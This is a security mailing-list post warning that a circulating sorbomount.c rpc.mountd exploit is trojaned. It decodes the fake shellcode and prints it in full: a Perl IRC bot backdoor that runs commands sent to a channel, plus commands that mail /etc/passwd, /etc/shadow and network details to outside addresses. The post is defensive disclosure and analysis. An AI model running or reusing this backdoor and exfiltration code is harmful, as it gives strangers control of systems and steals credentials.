sorbomount.c off-by-one rpc.mountd exploit trojaned

[DownBload <downbload () hotmail com>]

KIDDIES ALERT!!! -> SORBOMOUNT.C EXPLOIT TROJANED!!! <- KIDDIES ALERT!!!


- If this is already well known (and it should be), just > /dev/null it.

There is sorbomount.c exploit for off-by-one bug in rpc.mountd in the wild.
Version that I got from my friend is trojaned!

Even the dumbest asm coder in the world can't write soo big port bind shellcode :-))).
It must be something else...

sorbomount.c:

char shellcode[] =
/* port bind tcp/30464 ***/
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Damn, this looks nasty!!!
...
system(shellcode);
...

So, this is not real shellcode, these are just hexadecimal values of ASCII characters.
That "shellcode" will do this on your machine (or maybe already did:-))) :
---------------------------------------------------------------------------
echo '#!/usr/bin/perl' >> a.pl ;
echo '$chan="#lamemate";' >> a.pl ;
echo '$nick="lamemate";' >> a.pl ;
echo '$server="irc.daxnet.no";' >> a.pl ;
echo '$SIG{TERM}={};
exit if fork;
use IO::Socket;$sock = IO::Socket::INET->new($server.":6667") || exit;
print $sock "USER lamemate +i lamemate :lamematerv2\nNICK lamemate\n";
$i=1;while(<$sock>=~/^[^ ]+ ([^ ]+) /)  {
$mode=$1;
last if $mode=="001";
if($mode=="433") {
$i++;
$nick=~s/\d*$/$i/;
print $sock "NICK $nick\n";
}
}
print $sock "JOIN $chan\nPRIVMSG $chan :lamemate v2.1\nPRIVMSG $chan :to run commands, type: ".$nick.": command\n";
while(<$sock>)
{
if (/^PING (.*)$/)
{
print $sock "PONG $1\nJOIN $chan\n";
}
if(s/^[^ ]+ PRIVMSG $chan :$nick[^ :\w]*:[^ :\w]* (.*)$/$1/) {
s/\s*$//;
$_=`$_`;
foreach(split "\n")
{
print $sock "PRIVMSG $chan :$_\n";
sleep 1;
}
}
}
#chmod +x /tmp/lol 2>/dev/null;/tmp/lol' >> a.pl ;
perl a.pl;
cat /etc/passwd >> own.txt; 
cat /etc/shadow >> own.txt ; 
cat /etc/hosts >> own.txt; 
uname -a >> own.txt; 
ifconfig >> own.txt; 
cat own.txt | mail earias () hush com ; 
cat own.txt | mail Sonico60 () hotmail com ;
rm -rf own.txt;rm -rf a.pl;[root
---------------------------------------------------------------------------

So....
a.pl perl script is created.
This perl script will connect to irc server irc.daxnet.no as user lamemate, and will send private message to channel 
#lamemate. Now anyone can run commands on your machine.
After that, passwd, shadow and hosts are cat-ed to own.txt, uname and ifconfig are also redirected to own.txt.
own.txt is mailed to earias () hush com and Sonico60 () hotmail com.
own.txt and a.pl are rm-ed.

I wonder, how many shadow files earias and Sonico60 have :-).
Poor kiddies :-PPppp. 




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